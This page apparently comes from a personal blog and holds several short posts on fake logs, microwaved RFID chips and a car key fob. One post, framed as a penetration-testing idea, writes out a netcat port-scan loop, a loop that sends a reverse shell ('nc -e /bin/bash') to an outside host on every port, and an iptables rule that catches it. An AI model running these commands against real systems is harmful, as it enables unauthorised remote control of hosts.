Bogus Log Generator

I wonder what the legal implications might be of a framework that makes it easy to create generators for bogus but convincing log data.

Prosecution: “Your honor, I present to the court computer logs that show that the defendant participated in online activities for which he is charged.”

Defense: “Your honor, I present to the court computer logs that are completely falsified but are completely indistinguishable in form from the logs presented by the prosecution.”

Flying Monkies, GO!

Microwave + RFID = Plasma

It would appear that RFID chips in a microwave make plasma, and plasma melts glass microwave turntables. While I understand the latter, I was not expecting the former. The impressive thing was it kicked off at about 2.5 seconds. I wonder if it would have been “safely” destroyed in a glass jar submerged in water, this being a bank card.

Hopefully I’ve never made claims that I’m notably smarter than anyone else.

Blind Connect-back Through Restrictive Firewall

The following scenario is admittedly far-fetched. It’s unlikely that you’ll actually encounter it but you might encounter a situation that’s similar. You’re in a pen test and you’ve found a host that you can execute commands on but you can’t see the results. It should be simple enough to shovel a shell back to you but that’s not working. You know you’ve got commands running because you can send a ping command and see the pings coming to you. There might be a restrictive firewall between you and the target that isn’t letting the TCP/UDP streams through for ports you choose. If this sounds silly consider that there are systems out there that actually use RPC over email.

You can craft a port scan through simple commands that you can launch into your target. However if you can’t see the results of the scan you don’t know what port you can connect through. A minimalist port scan might look like this:

(for i in seq 1 65536;do nc -zw 3 34.56.78.90 $i && echo $i open;done) > scan_results

In this case we can’t see the results. You can watch a packet capture on your box and then subsequently send another command to connect to the port that got through. I’m lazy, impatient and efficiency minded. Let’s combine our scan with the shoveling.

i=1;while [ $i -lt 65535 ]; do nc -e /bin/bash 34.56.78.90 $i && exit;i=$(( i + 1 ));done

So this will skip the port scan and just look for a way out. But what are you supposed to do, leave a netcat listening on every port? If you have an extra IP (34.56.78.91) we can send every port to our netcat port. It looks something like this:

iptables -I INPUT -p tcp -m state --state NEW -d 34.56.78.91 -j DNAT --to 34.56.78.90:5555

If your netcat listener is on 34.56.78.90:5555 any TCP connection to any port on 34.56.78.91 will get forwarded to your netcat listener. Blind injection could also be used to send packets to an idle host while you watch the IP IDs returned by the idle host. Essentially you can cause a remote host to start an idle scan for you to watch from your host, abstracting away your real IP.

This is all theoretical and it’s probably something you’ll never find a situation where this is the answer. I’ve played with pieces but haven’t put it all together. I’m just the idea guy.

Update: That was fast.

Ceci n’est pas une clé

I have one of those remote keyless entry key fobs for my car, to unlock and lock the doors as I approach and leave my car.

Anyone else occasionally find yourselves not thinking and try to use it on the front door of your home?